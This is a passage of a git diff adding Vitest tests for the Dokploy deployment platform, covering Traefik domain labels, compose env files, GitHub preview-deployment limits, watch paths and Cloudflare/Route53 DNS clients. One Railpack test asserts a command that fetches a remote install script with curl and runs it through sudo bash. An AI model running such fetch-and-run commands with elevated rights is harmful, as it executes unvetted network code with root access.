suffix: "", + get composeFile() { + return composeYaml; + }, +} as unknown as Compose; + +const baseDomain: Domain = { + host: "frigate.example.com", + port: 8971, + customEntrypoint: null, + https: false, + uniqueConfigKey: 1, + customCertResolver: null, + certificateType: "none", + applicationId: "", + composeId: "compose-id", + domainType: "compose", + serviceName: "frigate", + domainId: "domain-id", + path: "/", + createdAt: "", + previewDeploymentId: "", + internalPath: "/", + stripPath: false, + middlewares: null, + forwardAuthEnabled: false, + enabled: true, +}; + +const serviceLabels = ( + result: Awaited>, +) => (result?.services?.frigate?.labels as string[] | undefined) ?? []; + +describe("addDomainToCompose enabled filtering", () => { + beforeEach(() => { + vi.clearAllMocks(); + composeYaml = baseComposeYaml; + }); + + it("generates traefik labels for an enabled domain", async () => { + const result = await addDomainToCompose(baseCompose, [ + { ...baseDomain, enabled: true }, + ]); + + const labels = serviceLabels(result); + expect(labels).toContain("traefik.enable=true"); + expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe( + true, + ); + }); + + it("skips a disabled domain entirely (no traefik labels)", async () => { + const result = await addDomainToCompose(baseCompose, [ + { ...baseDomain, enabled: false }, + ]); + + const labels = serviceLabels(result); + expect(labels).not.toContain("traefik.enable=true"); + expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe( + false, + ); + }); + + it.each([ + [ + "docker-compose", + `services: + frigate: + image: frigate + labels: + - traefik.enable=true + - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`) + - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971 + - traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api + - custom.label=preserved +`, + ], + [ + "stack", + `services: + frigate: + image: frigate + deploy: + labels: + - traefik.enable=true + - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`) + - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971 + - traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api + - custom.label=preserved +`, + ], + ] as const)( + "removes stale labels for a disabled domain from %s rebuilds", + async (composeType, staleComposeYaml) => { + composeYaml = staleComposeYaml; + + const result = await addDomainToCompose({ ...baseCompose, composeType }, [ + { ...baseDomain, enabled: false }, + ]); + + const service = result?.services?.frigate; + const labels = + composeType === "docker-compose" + ? service?.labels + : service?.deploy?.labels; + expect(labels).toContain("custom.label=preserved"); + expect( + (labels as string[]).some((label) => label.includes("test-app-1")), + ).toBe(false); + }, + ); + + it.each([ + [ + "docker-compose", + `services: + legacy: + image: frigate + labels: + - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`) + - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971 + - custom.label=preserved + frigate: + image: frigate +`, + ], + [ + "stack", + `services: + legacy: + image: frigate + deploy: + labels: + - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`) + - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971 + - custom.label=preserved + frigate: + image: frigate +`, + ], + ] as const)( + "removes stale labels from the previous %s service after reassignment", + async (composeType, staleComposeYaml) => { + composeYaml = staleComposeYaml; + + const result = await addDomainToCompose({ ...baseCompose, composeType }, [ + { ...baseDomain, serviceName: "frigate", enabled: false }, + ]); + + const previousService = result?.services?.legacy; + const labels = + composeType === "docker-compose" + ? previousService?.labels + : previousService?.deploy?.labels; + expect(labels).toContain("custom.label=preserved"); + expect( + (labels as string[]).some((label) => label.includes("test-app-1")), + ).toBe(false); + }, + ); + + it.each([ + [ + "docker-compose", + `services: + frigate: + image: frigate + labels: + traefik.enable: "true" + traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`) + traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971 + traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api + custom.label: preserved +`, + ], + [ + "stack", + `services: + frigate: + image: frigate + deploy: + labels: + traefik.enable: "true" + traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`) + traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971 + traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api + custom.label: preserved +`, + ], + ] as const)( + "removes stale mapping labels for a disabled domain from %s rebuilds", + async (composeType, staleComposeYaml) => { + composeYaml = staleComposeYaml; + + const result = await addDomainToCompose({ ...baseCompose, composeType }, [ + { ...baseDomain, enabled: false }, + ]); + + const service = result?.services?.frigate; + const labels = + composeType === "docker-compose" + ? service?.labels + : service?.deploy?.labels; + expect(labels).toMatchObject({ "custom.label": "preserved" }); + expect( + Object.keys(labels ?? {}).some((label) => label.includes("test-app-1")), + ).toBe(false); + }, + ); + + it.each([ + [ + "docker-compose", + `services: + frigate: + image: frigate + labels: + traefik.enable: "true" + traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`) + traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971 + custom.label: preserved +`, + "traefik.docker.network", + ], + [ + "stack", + `services: + frigate: + image: frigate + deploy: + labels: + traefik.enable: "true" + traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`) + traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971 + custom.label: preserved +`, + "traefik.swarm.network", + ], + ] as const)( + "regenerates routing in mapping labels for an enabled domain in %s", + async (composeType, mappingComposeYaml, networkLabel) => { + composeYaml = mappingComposeYaml; + + const result = await addDomainToCompose({ ...baseCompose, composeType }, [ + { ...baseDomain, enabled: true }, + ]); + + const service = result?.services?.frigate; + const labels = + composeType === "docker-compose" + ? service?.labels + : service?.deploy?.labels; + expect(labels).toMatchObject({ + "custom.label": "preserved", + "traefik.enable": "true", + [networkLabel]: "dokploy-network", + "traefik.http.routers.test-app-1-web.rule": + "Host(`frigate.example.com`)", + "traefik.http.services.test-app-1-web.loadbalancer.server.port": "8971", + }); + }, + ); + + it("emits labels only for the enabled domain when both are present", async () => { + const result = await addDomainToCompose(baseCompose, [ + { ...baseDomain, host: "enabled.example.com", enabled: true }, + { + ...baseDomain, + host: "disabled.example.com", + uniqueConfigKey: 2, + enabled: false, + }, + ]); + + const labels = serviceLabels(result); + expect(labels.some((l) => l.includes("Host(`enabled.example.com`)"))).toBe( + true, + ); + expect(labels.some((l) => l.includes("Host(`disabled.example.com`)"))).toBe( + false, + ); + }); +}); diff --git a/apps/dokploy/__test__/compose/domain/host-rule-format.test.ts b/apps/dokploy/__test__/compose/domain/host-rule-format.test.ts index 07fc42c33..027e2f69d 100644 --- a/apps/dokploy/__test__/compose/domain/host-rule-format.test.ts +++ b/apps/dokploy/__test__/compose/domain/host-rule-format.test.ts @@ -35,6 +35,7 @@ describe("Host rule format regression tests", () => { customEntrypoint: null, middlewares: null, forwardAuthEnabled: false, + enabled: true, }; describe("Host rule format validation", () => { diff --git a/apps/dokploy/__test__/compose/domain/labels.test.ts b/apps/dokploy/__test__/compose/domain/labels.test.ts index e48b54452..57e018baf 100644 --- a/apps/dokploy/__test__/compose/domain/labels.test.ts +++ b/apps/dokploy/__test__/compose/domain/labels.test.ts @@ -24,6 +24,7 @@ describe("createDomainLabels", () => { stripPath: false, middlewares: null, forwardAuthEnabled: false, + enabled: true, }; it("should create basic labels for web entrypoint", async () => { diff --git a/apps/dokploy/__test__/compose/domain/raw-compose.test.ts b/apps/dokploy/__test__/compose/domain/raw-compose.test.ts new file mode 100644 index 000000000..abee0dc59 --- /dev/null +++ b/apps/dokploy/__test__/compose/domain/raw-compose.test.ts @@ -0,0 +1,59 @@ +import { addDomainToCompose } from "@dokploy/server/utils/docker/domain"; +import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync"; +import { describe, expect, it, vi } from "vitest"; + +vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => ({ + ...(await importOriginal< + typeof import("@dokploy/server/utils/process/execAsync") + >()), + execAsyncRemote: vi.fn(), +})); + +describe("raw remote compose conversion (#4794)", () => { + it("uses the saved raw source and preserves supported mount syntax", async () => { + vi.mocked(execAsyncRemote).mockResolvedValue({ + stdout: "services:\n test:\n image: alpine:latest\n", + stderr: "", + }); + + const compose = { + appName: "raw-stack", + composeFile: ` +services: + test: + image: alpine:latest + volumes: + - type: tmpfs + target: /scratch + - type: volume + source: test-data + target: /data + tmpfs: + - /cache +volumes: + test-data: +`, + composePath: "./docker-compose.yml", + composeType: "stack", + isolatedDeployment: false, + isolatedDeploymentsVolume: false, + randomize: false, + serverId: "remote-server", + sourceType: "raw", + suffix: "", + } as unknown as Parameters[0]; + + const converted = await addDomainToCompose(compose, []); + + expect(converted?.services?.test?.volumes).toEqual([ + { type: "tmpfs", target: "/scratch" }, + { + type: "volume", + source: "test-data", + target: "/data", + }, + ]); + expect(converted?.services?.test?.tmpfs).toEqual(["/cache"]); + expect(execAsyncRemote).not.toHaveBeenCalled(); + }); +}); diff --git a/apps/dokploy/__test__/compose/env-file-literals.test.ts b/apps/dokploy/__test__/compose/env-file-literals.test.ts index 2dbb7fa4e..b7223ca4a 100644 --- a/apps/dokploy/__test__/compose/env-file-literals.test.ts +++ b/apps/dokploy/__test__/compose/env-file-literals.test.ts @@ -32,6 +32,9 @@ const cases: Record = { APOSTROPHE: "it's a test", UNICODE: "héllo wörld 日本語 🚀", MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----", + APP_URL: "https://example.com", + ASSET_URL: "https://example.com", + DB_HOST: "localhost", }; // How each value must be typed in the UI so the (unchanged) dotenv input @@ -46,6 +49,9 @@ const inputEncoding: Record = { APOSTROPHE: "it's a test", UNICODE: "héllo wörld 日本語 🚀", MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"', + APP_URL: "https://example.com", + ASSET_URL: '"${APP_URL}"', + DB_HOST: '"${UNDEFINED_HOST:-localhost}"', }; describe("getCreateEnvFileCommand", () => { diff --git a/apps/dokploy/__test__/compose/env-file-preserved.test.ts b/apps/dokploy/__test__/compose/env-file-preserved.test.ts new file mode 100644 index 000000000..03aa057c4 --- /dev/null +++ b/apps/dokploy/__test__/compose/env-file-preserved.test.ts @@ -0,0 +1,45 @@ +import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose"; +import { describe, expect, it, vi } from "vitest"; + +// Compose now has a `createEnvFile` toggle (default true), mirroring the +// Application builder's flag: when disabled, Dokploy never writes `.env`, +// so a repo-tracked file survives untouched. +vi.mock("@dokploy/server/utils/docker/domain", () => ({ + writeDomainsToCompose: vi.fn().mockResolvedValue(""), +})); + +const baseCompose = { + appName: "env-file-toggle", + sourceType: "raw", + command: "", + composePath: "docker-compose.yml", + composeType: "docker-compose", + isolatedDeployment: false, + randomize: false, + suffix: "", + serverId: null, + env: "FOO=bar", + mounts: [], + domains: [], + environment: { project: { env: "" }, env: "" }, +} as unknown as Parameters[0]; + +describe("getBuildComposeCommand createEnvFile toggle", () => { + it("createEnvFile: false never writes the .env file", async () => { + const command = await getBuildComposeCommand({ + ...baseCompose, + createEnvFile: false, + }); + + expect(command).not.toContain("base64 -d >"); + }); + + it("createEnvFile: true (default) writes Dokploy's vars", async () => { + const command = await getBuildComposeCommand({ + ...baseCompose, + createEnvFile: true, + }); + + expect(command).toContain("base64 -d >"); + }); +}); diff --git a/apps/dokploy/__test__/deploy/github-webhook-handler.test.ts b/apps/dokploy/__test__/deploy/github-webhook-handler.test.ts index e25bd425e..6b61c97d7 100644 --- a/apps/dokploy/__test__/deploy/github-webhook-handler.test.ts +++ b/apps/dokploy/__test__/deploy/github-webhook-handler.test.ts @@ -12,6 +12,8 @@ const mocks = vi.hoisted(() => ({ queueAdd: vi.fn(), verify: vi.fn(), shouldDeploy: vi.fn(), + createPreviewDeployment: vi.fn(), + findPreviewDeploymentByApplicationId: vi.fn(), })); vi.mock("drizzle-orm", () => ({ @@ -64,10 +66,11 @@ vi.mock("@dokploy/server", () => ({ IS_CLOUD: false, shouldDeploy: mocks.shouldDeploy, checkUserRepositoryPermissions: vi.fn(), - createPreviewDeployment: vi.fn(), + createPreviewDeployment: mocks.createPreviewDeployment, createSecurityBlockedComment: vi.fn(), findGithubById: vi.fn(), - findPreviewDeploymentByApplicationId: vi.fn(), + findPreviewDeploymentByApplicationId: + mocks.findPreviewDeploymentByApplicationId, findPreviewDeploymentsByPullRequestId: vi.fn(), getBitbucketHeaders: vi.fn(() => ({})), removePreviewDeployment: vi.fn(), @@ -321,3 +324,157 @@ describe("GitHub app webhook auto-deploy", () => { expect(res.json).toHaveBeenCalledWith({ message: "No apps to deploy" }); }); }); + +describe("GitHub app webhook preview deployments", () => { + const createApplication = ( + overrides: Record = {}, + ): Record => ({ + applicationId: "application-id", + name: "my-app", + serverId: null, + previewLabels: [], + previewLimit: 3, + previewDeployments: [], + previewRequireCollaboratorPermissions: false, + ...overrides, + }); + + const createPreviewDeployments = (total: number) => + Array.from({ length: total }, (_, index) => ({ + previewDeploymentId: `existing-preview-${index}`, + })); + + const createPullRequestRequest = (action: string) => + ({ + headers: { + "x-hub-signature-256": "sha256=test-signature", + "x-github-event": "pull_request", + }, + body: { + installation: { + id: 12345, + }, + action, + pull_request: { + id: 987, + number: 42, + title: "feat: add preview", + html_url: "https://github.com/agentHits/dokploy/pull/42", + labels: [], + user: { + login: "agentHits", + }, + head: { + ref: "feature", + sha: "abc123", + }, + base: { + ref: "main", + }, + }, + repository: { + name: "dokploy", + owner: { + login: "agentHits", + }, + }, + }, + }) as unknown as NextApiRequest; + + beforeEach(() => { + vi.clearAllMocks(); + mocks.githubFindFirst.mockResolvedValue({ + githubId: "github-provider-id", + githubInstallationId: 12345, + githubWebhookSecret: "webhook-secret", + }); + mocks.verify.mockResolvedValue(true); + mocks.queueAdd.mockResolvedValue({ id: "job-id" }); + mocks.createPreviewDeployment.mockResolvedValue({ + previewDeploymentId: "new-preview-id", + }); + mocks.findPreviewDeploymentByApplicationId.mockResolvedValue(undefined); + }); + + it("redeploys an existing preview even when the limit is reached", async () => { + mocks.applicationsFindMany.mockResolvedValue([ + createApplication({ + previewLimit: 2, + previewDeployments: createPreviewDeployments(3), + }), + ]); + mocks.findPreviewDeploymentByApplicationId.mockResolvedValue({ + previewDeploymentId: "existing-preview-0", + }); + const res = createResponse(); + + await handler(createPullRequestRequest("synchronize"), res); + + expect(mocks.createPreviewDeployment).not.toHaveBeenCalled(); + expect(mocks.queueAdd).toHaveBeenCalledWith( + "deployments", + expect.objectContaining({ + applicationId: "application-id", + applicationType: "application-preview", + previewDeploymentId: "existing-preview-0", + type: "deploy", + }), + expect.objectContaining({ + removeOnComplete: true, + removeOnFail: true, + }), + ); + expect(res.status).toHaveBeenCalledWith(200); + }); + + it("does not create a new preview once the limit is reached", async () => { + mocks.applicationsFindMany.mockResolvedValue([ + createApplication({ + previewLimit: 2, + previewDeployments: createPreviewDeployments(2), + }), + ]); + const res = createResponse(); + + await handler(createPullRequestRequest("opened"), res); + + expect(mocks.createPreviewDeployment).not.toHaveBeenCalled(); + expect(mocks.queueAdd).not.toHaveBeenCalled(); + expect(res.status).toHaveBeenCalledWith(200); + }); + + it("falls back to the default limit when none is configured", async () => { + mocks.applicationsFindMany.mockResolvedValue([ + createApplication({ + previewLimit: null, + previewDeployments: createPreviewDeployments(2), + }), + ]); + const res = createResponse(); + + await handler(createPullRequestRequest("opened"), res); + + expect(mocks.createPreviewDeployment).toHaveBeenCalledWith( + expect.objectContaining({ + applicationId: "application-id", + branch: "feature", + pullRequestId: 987, + pullRequestNumber: 42, + }), + ); + expect(mocks.queueAdd).toHaveBeenCalledWith( + "deployments", + expect.objectContaining({ + applicationId: "application-id", + applicationType: "application-preview", + previewDeploymentId: "new-preview-id", + type: "deploy", + }), + expect.objectContaining({ + removeOnComplete: true, + removeOnFail: true, + }), + ); + expect(res.status).toHaveBeenCalledWith(200); + }); +}); diff --git a/apps/dokploy/__test__/deploy/railpack.command.test.ts b/apps/dokploy/__test__/deploy/railpack.command.test.ts index 94c95c950..13345ac0f 100644 --- a/apps/dokploy/__test__/deploy/railpack.command.test.ts +++ b/apps/dokploy/__test__/deploy/railpack.command.test.ts @@ -50,6 +50,15 @@ describe("getRailpackCommand", () => { expect(command).toContain("--build-arg cache-key="); }); + it("installs Railpack through sudo for non-root users", () => { + const command = getRailpackCommand(createApplication()); + + expect(command).toContain( + '$SUDO_CMD bash -c "$(curl -fsSL https://railpack.com/install.sh)"', + ); + expect(command).toContain("sudo -n true 2>/dev/null"); + }); + it("changes secrets-hash when an environment value changes", () => { const firstCommand = getRailpackCommand( createApplication({ diff --git a/apps/dokploy/__test__/deploy/should-deploy.test.ts b/apps/dokploy/__test__/deploy/should-deploy.test.ts index d9a1c0244..8b0da4428 100644 --- a/apps/dokploy/__test__/deploy/should-deploy.test.ts +++ b/apps/dokploy/__test__/deploy/should-deploy.test.ts @@ -16,6 +16,30 @@ describe("shouldDeploy", () => { expect(shouldDeploy(["src/**"], ["docs/readme.md"])).toBe(false); }); + it("should apply multiple negated watch paths as one pattern set", () => { + const watchPaths = ["!CHANGELOG.md", "!VERSION", "!tests/**"]; + + expect(shouldDeploy(watchPaths, ["CHANGELOG.md"])).toBe(false); + expect(shouldDeploy(watchPaths, ["VERSION"])).toBe(false); + expect(shouldDeploy(watchPaths, ["tests/unit/example.test.ts"])).toBe( + false, + ); + }); + + it("should deploy when a changed file remains after exclusions", () => { + const watchPaths = ["!CHANGELOG.md", "!VERSION", "!tests/**"]; + + expect(shouldDeploy(watchPaths, ["VERSION", "src/index.ts"])).toBe(true); + }); + + it("should combine positive and negated watch paths", () => { + const watchPaths = ["src/**", "!src/**/*.test.ts"]; + + expect(shouldDeploy(watchPaths, ["src/index.ts"])).toBe(true); + expect(shouldDeploy(watchPaths, ["src/index.test.ts"])).toBe(false); + expect(shouldDeploy(watchPaths, ["docs/readme.md"])).toBe(false); + }); + it("should not throw when modified files contain non-string values", () => { expect(() => shouldDeploy(["src/**"], ["src/index.ts", undefined, null] as any), diff --git a/apps/dokploy/__test__/dns/cloudflare.test.ts b/apps/dokploy/__test__/dns/cloudflare.test.ts new file mode 100644 index 000000000..356d429a4 --- /dev/null +++ b/apps/dokploy/__test__/dns/cloudflare.test.ts @@ -0,0 +1,214 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const mockFetch = vi.fn(); +global.fetch = mockFetch as typeof fetch; + +import { cloudflareClient } from "@dokploy/server/utils/dns/cloudflare"; + +const jsonResponse = (body: unknown, ok = true, status = 200) => + ({ + ok, + status, + json: async () => body, + }) as Response; + +const cfSuccess = (result: unknown) => + jsonResponse({ success: true, errors: [], result }); + +const cfError = (message: string, status = 400) => + jsonResponse( + { success: false, errors: [{ code: 1, message }] }, + false, + status, + ); + +const config = { providerType: "cloudflare" as const, apiToken: "cf-token" }; + +beforeEach(() => { + mockFetch.mockReset(); +}); + +describe("cloudflareClient.listZones", () => { + it("returns a single page of zones", async () => { + mockFetch.mockResolvedValue(cfSuccess([{ id: "z1", name: "example.com" }])); + + const zones = await cloudflareClient.listZones(config); + + expect(zones).toEqual([{ id: "z1", name: "example.com" }]); + expect(mockFetch).toHaveBeenCalledTimes(1); + const [url] = mockFetch.mock.calls[0] as [string]; + expect(url).toContain("/zones?per_page=50&page=1"); + }); + + it("paginates until a short page is returned", async () => { + const page = (count: number) => + cfSuccess( + Array.from({ length: count }, (_, i) => ({ + id: `z${i}`, + name: `zone${i}.com`, + })), + ); + mockFetch.mockResolvedValueOnce(page(50)).mockResolvedValueOnce(page(3)); + + const zones = await cloudflareClient.listZones(config); + + expect(zones).toHaveLength(53); + expect(mockFetch).toHaveBeenCalledTimes(2); + expect(mockFetch.mock.calls[1]?.[0]).toContain("page=2"); + }); +}); + +describe("cloudflareClient.listRecords", () => { + it("lists records for a zone", async () => { + mockFetch.mockResolvedValue( + cfSuccess([ + { + id: "r1", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + ttl: 1, + }, + ]), + ); + + const records = await cloudflareClient.listRecords(config, "zone-1"); + + expect(records).toEqual([ + { + id: "r1", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + ttl: 1, + }, + ]); + expect(mockFetch.mock.calls[0]?.[0]).toContain("/zones/zone-1/dns_records"); + }); +}); + +describe("cloudflareClient.upsertRecord", () => { + it("creates a record when none exists for the name/type", async () => { + mockFetch + .mockResolvedValueOnce(cfSuccess([])) + .mockResolvedValueOnce(cfSuccess({ id: "new-1" })); + + const result = await cloudflareClient.upsertRecord(config, { + zoneId: "zone-1", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + }); + + expect(result).toEqual({ id: "new-1" }); + const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit]; + expect(createInit.method).toBe("POST"); + }); + + it("updates the existing record instead of creating a duplicate", async () => { + mockFetch + .mockResolvedValueOnce(cfSuccess([{ id: "existing-1" }])) + .mockResolvedValueOnce(cfSuccess({ id: "existing-1" })); + + const result = await cloudflareClient.upsertRecord(config, { + zoneId: "zone-1", + type: "A", + name: "app.example.com", + content: "5.6.7.8", + }); + + expect(result).toEqual({ id: "existing-1" }); + const [updateUrl, updateInit] = mockFetch.mock.calls[1] as [ + string, + RequestInit, + ]; + expect(updateUrl).toContain("/dns_records/existing-1"); + expect(updateInit.method).toBe("PUT"); + }); + + it("defaults ttl to 1 (automatic) when not provided", async () => { + mockFetch + .mockResolvedValueOnce(cfSuccess([])) + .mockResolvedValueOnce(cfSuccess({ id: "new-1" })); + + await cloudflareClient.upsertRecord(config, { + zoneId: "zone-1", + type: "CNAME", + name: "www.example.com", + content: "example.com", + }); + + const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit]; + const body = JSON.parse(createInit.body as string); + expect(body.ttl).toBe(1); + }); +}); + +describe("cloudflareClient.updateRecord", () => { + it("PUTs directly to the given record id", async () => { + mockFetch.mockResolvedValue(cfSuccess({ id: "r1" })); + + const result = await cloudflareClient.updateRecord(config, "zone-1", "r1", { + type: "A", + name: "app.example.com", + content: "9.9.9.9", + ttl: 300, + }); + + expect(result).toEqual({ id: "r1" }); + const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit]; + expect(url).toContain("/zones/zone-1/dns_records/r1"); + expect(init.method).toBe("PUT"); + expect(JSON.parse(init.body as string)).toEqual({ + type: "A", + name: "app.example.com", + content: "9.9.9.9", + ttl: 300, + }); + }); +}); + +describe("cloudflareClient.deleteRecord", () => { + it("DELETEs the given record id", async () => { + mockFetch.mockResolvedValue(cfSuccess({})); + + await cloudflareClient.deleteRecord(config, "zone-1", "r1"); + + const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit]; + expect(url).toContain("/zones/zone-1/dns_records/r1"); + expect(init.method).toBe("DELETE"); + }); +}); + +describe("cloudflareClient.testConnection", () => { + it("succeeds when the token can list zones", async () => { + mockFetch.mockResolvedValue(cfSuccess([])); + await expect( + cloudflareClient.testConnection(config), + ).resolves.toBeUndefined(); + }); + + it("surfaces Cloudflare's error message on an invalid token", async () => { + mockFetch.mockResolvedValue(cfError("Invalid API Token")); + + await expect(cloudflareClient.testConnection(config)).rejects.toThrow( + "Invalid API Token", + ); + }); +}); + +describe("cloudflareClient auth header", () => { + it("trims whitespace pasted into the token", async () => { + mockFetch.mockResolvedValue(cfSuccess([])); + + await cloudflareClient.testConnection({ + providerType: "cloudflare", + apiToken: " cf-token\n", + }); + + const [, init] = mockFetch.mock.calls[0] as [string, RequestInit]; + expect((init.headers as Record).Authorization).toBe( + "Bearer cf-token", + ); + }); +}); diff --git a/apps/dokploy/__test__/dns/dns-provider-service.test.ts b/apps/dokploy/__test__/dns/dns-provider-service.test.ts new file mode 100644 index 000000000..995fc7fc6 --- /dev/null +++ b/apps/dokploy/__test__/dns/dns-provider-service.test.ts @@ -0,0 +1,116 @@ +import { describe, expect, it, vi } from "vitest"; + +vi.mock("@dokploy/server/db", () => ({ + db: { + query: { dnsProvider: { findFirst: vi.fn(), findMany: vi.fn() } }, + insert: vi.fn(), + update: vi.fn(), + delete: vi.fn(), + }, +})); + +import { + DNS_SECRET_MASK, + maskDnsProviderConfig, + mergeDnsProviderConfig, +} from "@dokploy/server/services/dns-provider"; + +describe("maskDnsProviderConfig", () => { + it("masks the apiToken for a cloudflare config", () => { + const masked = maskDnsProviderConfig({ + providerType: "cloudflare", + apiToken: "real-token", + }); + + expect(masked).toEqual({ + providerType: "cloudflare", + apiToken: DNS_SECRET_MASK, + }); + }); + + it("masks only the secretAccessKey for a route53 config, keeping accessKeyId visible", () => { + const masked = maskDnsProviderConfig({ + providerType: "route53", + accessKeyId: "AKIA_VISIBLE", + secretAccessKey: "shh", + }); + + expect(masked).toEqual({ + providerType: "route53", + accessKeyId: "AKIA_VISIBLE", + secretAccessKey: DNS_SECRET_MASK, + }); + }); + + it("leaves an empty sensitive field untouched instead of masking a blank value", () => { + const masked = maskDnsProviderConfig({ + providerType: "cloudflare", + apiToken: "", + }); + + expect(masked).toEqual({ providerType: "cloudflare", apiToken: "" }); + }); +}); + +describe("mergeDnsProviderConfig", () => { + it("restores the real secret when the incoming config still has the mask placeholder", () => { + const existing = { + providerType: "cloudflare" as const, + apiToken: "real-token", + }; + const incoming = { + providerType: "cloudflare" as const, + apiToken: DNS_SECRET_MASK, + }; + + expect(mergeDnsProviderConfig(incoming, existing)).toEqual(existing); + }); + + it("keeps a freshly entered secret instead of the stored one", () => { + const existing = { + providerType: "cloudflare" as const, + apiToken: "old-token", + }; + const incoming = { + providerType: "cloudflare" as const, + apiToken: "new-token", + }; + + expect(mergeDnsProviderConfig(incoming, existing)).toEqual(incoming); + }); + + it("throws when switching provider type while the field is still masked", () => { + const existing = { + providerType: "cloudflare" as const, + apiToken: "real-token", + }; + const incoming = { + providerType: "route53" as const, + accessKeyId: "AKIA", + secretAccessKey: DNS_SECRET_MASK, + }; + + expect(() => mergeDnsProviderConfig(incoming, existing)).toThrow( + "Credentials must be re-entered", + ); + }); + + it("does not require re-entry for fields that are not sensitive", () => { + const existing = { + providerType: "route53" as const, + accessKeyId: "AKIA_OLD", + secretAccessKey: "old-secret", + }; + const incoming = { + providerType: "route53" as const, + accessKeyId: "AKIA_NEW", + secretAccessKey: DNS_SECRET_MASK, + }; + + expect(mergeDnsProviderConfig(incoming, existing)).toEqual({ + providerType: "route53", + accessKeyId: "AKIA_NEW", + secretAccessKey: "old-secret", + }); + }); +}); diff --git a/apps/dokploy/__test__/dns/route53.test.ts b/apps/dokploy/__test__/dns/route53.test.ts new file mode 100644 index 000000000..cd344e201 --- /dev/null +++ b/apps/dokploy/__test__/dns/route53.test.ts @@ -0,0 +1,288 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +type HasInput = { input: any }; + +const { + send, + Route53Client, + ListHostedZonesCommand, + ListResourceRecordSetsCommand, + ChangeResourceRecordSetsCommand, +} = vi.hoisted(() => { + class FakeCommand { + input: any; + constructor(input: any) { + this.input = input; + } + } + const send = vi.fn(); + class Route53Client { + send(command: unknown) { + return send(command); + } + } + return { + send, + Route53Client, + ListHostedZonesCommand: class extends FakeCommand {}, + ListResourceRecordSetsCommand: class extends FakeCommand {}, + ChangeResourceRecordSetsCommand: class extends FakeCommand {}, + }; +}); + +vi.mock("@aws-sdk/client-route-53", () => ({ + Route53Client, + ListHostedZonesCommand, + ListResourceRecordSetsCommand, + ChangeResourceRecordSetsCommand, +})); + +import { route53Client } from "@dokploy/server/utils/dns/route53"; + +const config = { + providerType: "route53" as const, + accessKeyId: "AKIA_TEST", + secretAccessKey: "secret", +}; + +beforeEach(() => { + send.mockReset(); +}); + +describe("route53Client.listZones", () => { + it("strips the hostedzone prefix and the trailing dot", async () => { + send.mockResolvedValueOnce({ + HostedZones: [{ Id: "/hostedzone/Z123", Name: "example.com." }], + IsTruncated: false, + }); + + const zones = await route53Client.listZones(config); + + expect(zones).toEqual([{ id: "Z123", name: "example.com" }]); + }); + + it("follows the marker until IsTruncated is false", async () => { + send + .mockResolvedValueOnce({ + HostedZones: [{ Id: "/hostedzone/Z1", Name: "a.com." }], + IsTruncated: true, + NextMarker: "marker-1", + }) + .mockResolvedValueOnce({ + HostedZones: [{ Id: "/hostedzone/Z2", Name: "b.com." }], + IsTruncated: false, + }); + + const zones = await route53Client.listZones(config); + + expect(zones).toEqual([ + { id: "Z1", name: "a.com" }, + { id: "Z2", name: "b.com" }, + ]); + expect(send).toHaveBeenCalledTimes(2); + expect((send.mock.calls[1]?.[0] as HasInput).input.Marker).toBe("marker-1"); + }); +}); + +describe("route53Client.listRecords", () => { + it("builds a type:name id and strips the trailing dot from the name", async () => { + send.mockResolvedValueOnce({ + ResourceRecordSets: [ + { + Name: "app.example.com.", + Type: "A", + TTL: 300, + ResourceRecords: [{ Value: "1.2.3.4" }], + }, + ], + IsTruncated: false, + }); + + const records = await route53Client.listRecords(config, "Z123"); + + expect(records).toEqual([ + { + id: "A:app.example.com", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + ttl: 300, + }, + ]); + }); + + it("skips record sets with no ResourceRecords (e.g. alias targets)", async () => { + send.mockResolvedValueOnce({ + ResourceRecordSets: [ + { Name: "alias.example.com.", Type: "A", ResourceRecords: [] }, + ], + IsTruncated: false, + }); + + const records = await route53Client.listRecords(config, "Z123"); + + expect(records).toEqual([]); + }); + + it("joins multiple values for the same record", async () => { + send.mockResolvedValueOnce({ + ResourceRecordSets: [ + { + Name: "example.com.", + Type: "NS", + TTL: 172800, + ResourceRecords: [ + { Value: "ns1.example.com" }, + { Value: "ns2.example.com" }, + ], + }, + ], + IsTruncated: false, + }); + + const records = await route53Client.listRecords(config, "Z123"); + + expect(records[0]?.content).toBe("ns1.example.com, ns2.example.com"); + }); +}); + +describe("route53Client.upsertRecord", () => { + it("sends a single UPSERT change", async () => { + send.mockResolvedValueOnce({}); + + const result = await route53Client.upsertRecord(config, { + zoneId: "Z123", + type: "A", + name: "app.example.com", + content: 